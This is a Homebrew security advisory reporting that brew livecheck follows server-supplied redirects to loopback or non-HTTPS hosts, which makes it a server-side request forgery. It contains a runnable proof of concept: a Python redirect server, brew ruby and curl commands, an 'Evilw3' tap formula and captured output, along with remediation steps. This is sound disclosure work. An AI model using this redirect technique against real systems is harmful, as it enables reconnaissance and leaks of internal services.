Skip to content

`brew livecheck` follows a server-supplied redirect to an internal/loopback (or non-HTTPS) target — SSRF (no `--proto-redir` restriction by default)

Low
MikeMcQuaid published GHSA-x82f-cj53-gqfr Jul 6, 2026

Package

Homebrew/brew

Affected versions

All released versions through HEAD `09f982d0`

Patched versions

6.0.7

Description

Summary

Homebrew::Livecheck::Strategy.page_content (and page_headers) fetches a formula's or cask's livecheck URL with DEFAULT_CURL_ARGS = ["--location", "--max-redirs", "5", "--silent"] — it follows up to five redirects but supplies no --proto-redir, no --proto, and no host allowlist by default. An attacker who controls the upstream server of a legitimate formula's livecheck URL (or who is on-path for a plain-HTTP livecheck URL) can reply with a 30x Location: pointing at an internal/loopback host or a non-HTTPS scheme; brew livecheck follows it, reaches the attacker-chosen internal target, and reflects the response body and post-redirect final_url back to the caller. This is a non-misuse SSRF: it does not require a malicious tap or a malicious formula — only control of the redirect target on an already-trusted formula's upstream.

Details

Sink — Library/Homebrew/livecheck/strategy.rb:48-55 (HEAD 09f982d0):

DEFAULT_CURL_ARGS = T.let([
  "--location",                     # follow redirects
  "--max-redirs", MAX_REDIRECTIONS.to_s,   # up to 5
  "--silent"
].freeze, T::Array[String])

consumed by page_content / page_headersUtils::Curl.curl_output. The redirect-scheme defence no_insecure_redirect_curl_args in Library/Homebrew/utils/curl.rb:176-194 (which adds --proto-redir =https) is applied only when Homebrew::EnvConfig.no_insecure_redirect? (HOMEBREW_NO_INSECURE_REDIRECT) is set. In the default state (env unset), livecheck's curl follows a server-supplied redirect to any scheme/host, including http://127.0.0.1:<port>/…, file://…, or gopher://….

Trust boundary / reachability:

brew livecheck <formula|cask>
  → Homebrew::Livecheck::Strategy.page_content(url)     # url = formula's upstream livecheck URL
  → Utils::Curl.curl_output(*PAGE_CONTENT_CURL_ARGS + DEFAULT_CURL_ARGS)
  → curl --location --max-redirs 5 --silent <url>       # no --proto-redir
  → attacker upstream replies 301 Location: http://<internal>/…
  → curl follows → internal target reached, body + final_url reflected to caller

Threat model / security boundary / reasonable-use

  • Attacker capability (in-scope): the attacker controls (or is on-path MITM for) the upstream server that a legitimate, already-trusted formula's or cask's livecheck do … url … points at — e.g. the vendor download/version page a mainline homebrew-core formula already lists. The attacker replies to livecheck's GET/HEAD with a 30x Location: pointing at an internal/loopback host or a non-HTTPS scheme. The attacker does not need to publish a malicious tap, submit a malicious formula, or get the victim to add an untrusted repo.
  • Why this is NOT misuse: the exploited input (a server-supplied HTTP redirect on a formula's own upstream livecheck URL) is exactly the input livecheck is designed to fetch and follow — DEFAULT_CURL_ARGS includes --location on purpose. A tap author writing livecheck { url "https://vendor.example/releases" } is the normal, documented pattern; the vulnerability is that the redirect the vendor server returns is trusted unconditionally as to scheme and host.
  • Victim action (reasonable use): a maintainer, contributor, or CI job runs brew livecheck <formula> / brew bump <formula> (or brew livecheck --tap/--eval-all over many formulae) — the routine "is there a new upstream version?" workflow, run constantly in Homebrew's own bump pipelines.
  • Boundary crossed: the request originates from inside the victim's host/network and reaches an internal or loopback target the victim never intended livecheck to touch (http://127.0.0.1:…, RFC-1918, link-local/metadata endpoints), and the internal target's response body + final URL are reflected back into livecheck output — an SSRF read primitive across the host↔internal-network trust boundary. UI:R reflects that a human/CI must run livecheck; nothing else is a misuse step.

Proof of Concept (full, runnable — inline)

The reproducer stands up two loopback HTTP servers — an origin on 127.0.0.1:18100 that 301-redirects to an internal target on 127.0.0.1:18101 (which logs that it was reached and returns a page containing a version string) — then drives the real, unmodified Homebrew::Livecheck::Strategy.page_content sink at HEAD via ./bin/brew ruby, followed by a raw-curl cross-check and the HOMEBREW_NO_INSECURE_REDIRECT negative control.

1) Redirect-server + internal-target setup (srv.py — 127.0.0.1 only, synthetic content):

import http.server, threading, time, os
HIT = os.environ["HITFILE"]
class H(http.server.BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        if self.server.server_port == 18100:
            # origin: 301-redirect every request to the INTERNAL loopback target
            self.send_response(301)
            self.send_header("Location", "http://127.0.0.1:18101/secret")
            self.end_headers()
        else:
            # internal SSRF target: log the hit, return a page carrying a version
            open(HIT, "w").write("SSRF-HIT " + self.path)
            self.send_response(200); self.end_headers()
            self.wfile.write(b"internal secret page: version 9.9.9")
    do_HEAD = do_GET
def run(p): http.server.HTTPServer(("127.0.0.1", p), H).serve_forever()
for p in (18100, 18101):
    threading.Thread(target=run, args=(p,), daemon=True).start()
time.sleep(30)

2) Exact commands (run from the brew checkout at HEAD 09f982d0):

export HITFILE="$(mktemp -d)/hit.txt"; rm -f "$HITFILE"
python3 srv.py & SP=$!; sleep 2

# --- POSITIVE: drive the REAL HEAD sink; no HOMEBREW_NO_INSECURE_REDIRECT set ---
./bin/brew ruby -e '
  require "livecheck/strategy"
  puts "ARGS_AT_HEAD=#{Homebrew::Livecheck::Strategy::DEFAULT_CURL_ARGS.inspect}"
  c = Homebrew::Livecheck::Strategy.page_content("http://127.0.0.1:18100/livecheck")
  puts "FINAL_URL=#{c[:final_url].inspect}"
  puts "CONTENT=#{c[:content].inspect}"
  puts "MESSAGES=#{c[:messages].inspect}"
'
echo "[internal listener] $(cat "$HITFILE" 2>/dev/null)"

# --- raw-curl cross-check: DEFAULT_CURL_ARGS verbatim ---
rm -f "$HITFILE"
curl --location --max-redirs 5 --silent http://127.0.0.1:18100/livecheck; echo " rc=$?"
echo "[internal listener] $(cat "$HITFILE" 2>/dev/null)"

# --- NEGATIVE CONTROL: opt-in guard adds --proto-redir =https ---
rm -f "$HITFILE"
HOMEBREW_NO_INSECURE_REDIRECT=1 ./bin/brew ruby -e '
  require "livecheck/strategy"
  c = Homebrew::Livecheck::Strategy.page_content("http://127.0.0.1:18100/livecheck")
  puts "FINAL_URL=#{c[:final_url].inspect}"
  puts "CONTENT=#{c[:content].inspect}"
  puts "MESSAGES=#{c[:messages].inspect}"
'
echo "[internal listener] $(cat "$HITFILE" 2>/dev/null)   (expected empty)"
kill $SP 2>/dev/null

An optional end-to-end variant drives the CLI itself with a throwaway tap formula (identical result — brew livecheck --formula poc/w3/evilw3 prints evilw3: 0.0.1 ==> 9.9.9, the version extracted from the internal 18101 target):

class Evilw3 < Formula
  desc "PoC: livecheck redirect SSRF (no --proto-redir)"
  homepage "https://example.invalid/w3"
  url "https://example.invalid/evilw3-0.0.1.tar.gz"
  version "0.0.1"
  livecheck do
    url "http://127.0.0.1:18100/livecheck"   # attacker-influenced upstream livecheck server
    regex(/version (\d+(?:\.\d+)+)/i)
    strategy :page_match
  end
end

Proof of Concept (captured stdout, verbatim)

Captured driving the real, unmodified HEAD Ruby sink (Strategy.page_content) plus raw-curl cross-check and negative control. The runtime capture below was taken at commit 2b3683acbe; the sink (livecheck/strategy.rb:48-55 DEFAULT_CURL_ARGS and the opt-in-only utils/curl.rb:176-194 guard) is byte-identical at HEAD 09f982d0, so the observed behaviour is the HEAD behaviour.

================================ SINK AT HEAD ================================
Library/Homebrew/livecheck/strategy.rb:48-55
  DEFAULT_CURL_ARGS = ["--location", "--max-redirs", MAX_REDIRECTIONS.to_s, "--silent"]  # NO --proto/--proto-redir
Library/Homebrew/utils/curl.rb:176-194
  no_insecure_redirect_curl_args: adds `--proto-redir =https` ONLY when HOMEBREW_NO_INSECURE_REDIRECT is set.

========= POSITIVE: REAL HEAD Strategy.page_content follows redirect to INTERNAL host (SSRF) =========
origin 127.0.0.1:18100/livecheck --301--> internal 127.0.0.1:18101/secret (returns "...version 9.9.9")

  ARGS_AT_HEAD=["--location", "--max-redirs", "5", "--silent"]
  FINAL_URL="http://127.0.0.1:18101/secret"
  CONTENT="internal secret page: version 9.9.9"
  MESSAGES=nil
  [internal listener] SSRF-HIT GET /secret from 127.0.0.1

[oracle] FIRED — the real HEAD livecheck strategy reached the internal host (SSRF-HIT) AND surfaced
         its page content (final_url + body reflected back to the caller).

========= raw-curl cross-check (DEFAULT_CURL_ARGS verbatim) =========
default (no guard):  curl --location --max-redirs 5 --silent http://127.0.0.1:18100/livecheck
   -> body "internal secret page: version 9.9.9"   rc=0
   -> [internal listener] SSRF-HIT GET /secret from 127.0.0.1

========= NEG CONTROL: REAL page_content under HOMEBREW_NO_INSECURE_REDIRECT=1 =========
cmd:  HOMEBREW_NO_INSECURE_REDIRECT=1 ./bin/brew ruby -e '...page_content(...)'

  FINAL_URL=nil
  CONTENT=""
  MESSAGES=["curl: (1) Protocol \"http\" disabled (in redirect)"]
  [internal listener] (empty)

[oracle] internal host NOT reached — the opt-in guard adds `--proto-redir =https`; curl refuses the
         http redirect target. Control sound: the SSRF is enabled specifically by the DEFAULT (unset) state.

==================================== VERDICT ====================================
FIRED — Strategy.page_content, built from DEFAULT_CURL_ARGS (no --proto-redir by default), follows a
server-supplied redirect to an internal 127.0.0.1 host and reflects its content. Negative control
(HOMEBREW_NO_INSECURE_REDIRECT => --proto-redir =https) blocks it. proof_label: live_runtime_proof

(The file:// scheme-downgrade sub-case is reported honestly as not fired: curl's default cross-protocol redirect whitelist (http/https/ftp/ftps) excludes file://, so the local-file-read via redirect is bounded on stock curl. The HTTP→internal-host SSRF above is the live finding.)

Impact

brew livecheck (run routinely by maintainers, CI, and brew bump tooling over many formulae) can be steered by any upstream that a formula's livecheck URL trusts into issuing requests to internal/loopback services or non-HTTPS targets, with the response reflected back to the caller. Bounded by the read-only livecheck lane (no writes), but sufficient for internal-service reconnaissance and bounded information disclosure.

Remediation

  • Make the redirect restriction the default for livecheck fetches rather than opt-in: add --proto-redir =https (and ideally --proto =https) to DEFAULT_CURL_ARGS, instead of only under HOMEBREW_NO_INSECURE_REDIRECT.
  • Additionally refuse redirects to private/loopback/link-local address ranges in the livecheck lane regardless of scheme.
  • Do not reflect the post-redirect final_url/body when a redirect crossed to a different host or scheme.

DEDUP note vs GHSA-9g4r → NEW advisory (not a duplicate)

GHSA-9g4r-vmj2-j2gj = "Server-supplied svn:externals URL reaches svn checkout in option position (argument injection, no malicious formula)." That is a different sink (the SVN download strategy / svn checkout argv, CWE-88 argument injection) from this finding's sink (livecheck/strategy.rb DEFAULT_CURL_ARGS, CWE-918 SSRF via curl redirect-following). Different code path, different weakness class, different fix. This is a new advisory, not a dup of and not a supplement to GHSA-9g4r.

Also distinct from the other published redirect-family Homebrew GHSAs (for reviewer clarity):

  • GHSA-3m5g-jfx7-3p65HOMEBREW_ secret re-sent on a cross-host download redirect (secret leak, download strategy).
  • GHSA-r9gp-p4vv-f93x — git redirect retargets a tap's origin on brew update (tap-allowlist bypass, git).
  • GHSA-7699-qf8c-q47m — POST download strategy discards resolved_url, bypassing HTTPS→HTTP redirect protection (download strategy).

None of the above covers the livecheck curl lane following a server redirect to an internal/non-HTTPS target. This finding is net-new.

AI/LLM use disclosure

This finding was researched and validated with AI/LLM assistance; the reporter verified its correctness against the source and the recorded run, and takes full responsibility for it.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits